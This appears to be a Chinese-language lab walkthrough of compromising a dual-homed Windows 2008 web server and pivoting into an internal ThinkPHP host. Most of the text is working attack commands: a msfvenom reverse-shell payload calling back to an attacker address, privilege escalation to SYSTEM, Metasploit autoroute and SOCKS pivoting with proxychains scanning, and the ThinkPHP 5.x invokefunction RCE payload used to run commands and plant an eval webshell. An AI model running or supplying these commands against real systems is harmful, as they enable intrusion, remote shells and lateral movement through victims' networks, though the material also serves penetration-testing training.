环境 : windows server 2008 asp站点 双网卡
win7 内网主机 开放80web服务 使用thinkphp5.1.15源码
目标 : 拿下两台主机的权限
蚁剑下载地址
https://github.com/AntSwordProject/AntSword-Loader
msf通过webshell上线msf -->
msf查看路由发现存在内网 -->
扫描存活的主机 -->
扫到内网站点 -->
getshell
msf生成exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.6.157 LPORT=8001 -f exe -o
/tmp/lssam.exe
直接到msf拿到回话
土豆提权
拿到最高权限“SYSTEM”
获取子网
run get_local_subnets
添加这边模拟的10网段的内网路由
run autoroute -s 10.10.10.0/24 # 添加到达10.10.10.0网段的路由
run autoroute -p # 打印路由信息
添加路由 , 本质是当你msf中的操作访问10.10.10.0内网的时候 , 会先把请求转发给当前添加了路由 的session
因为这个session回话是在双网卡的win2008上
所以它是能够访问到10段的 , 添加路由的目的就是让我们能够访问到内网
也可以把session回话放到后台 , 使用msf的自动添加路由模块进行操作 , 实战中用哪个都无所谓
background
use post/multi/manage/autoroute
show options
set sessions 1
run -j
route
添加好路由了 , 紧接着使用msf扫描一下内网存活的主机
background
use auxiliary/scanner/portscan/tcp
show options
set RHOSTS 10.10.10.0/24
set PORTS 80,22,3389
set THREADS 20
run
sessions -i 1
shell
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="
此时只是把msf整个工具拖到了10内网中 , 但是kali机器上的其他工具是无法访问到10段的 , 比如我想用 nmap直接扫10.10.10.2都开放了哪些端口 , 我们可以使用socks_proxy解决这个问题
background
use auxiliary/server/socks_proxy
show options
run
jobs # jobs看看代理是否成功 , 必须先添加路由
然后修改kali的/etc/proxychains4.conf文件
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
使用proxychain+nmap扫描
proxychains nmap 10.10.10.2 -p 80,3389,445 # 离谱就是扫不到 , 还是上传第三方探测的扫描吧
发现一个web端口 , 使用代理打开火狐浏览器
proxychains firefox
存在rce nday , 直接使用payload检测
s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]
[]=-1
查看IP
s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=ipconfig
构造WebShell
s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=echo "<?php @eval(\$_POST[cmd]);?>" > 405.php
使用蚁剑连接WebShell
注意事项:
10.10.10.2 这个主机要依靠win2008的sessions做的路由+代理才能访问要不然就无法
到10.10.10.2了
访问不到的排查思路:
先排查sessions有没有掉 sysinfo
路由有没有加 meterpreter ---> run autoroute -p
排查socks文件 版本 ip port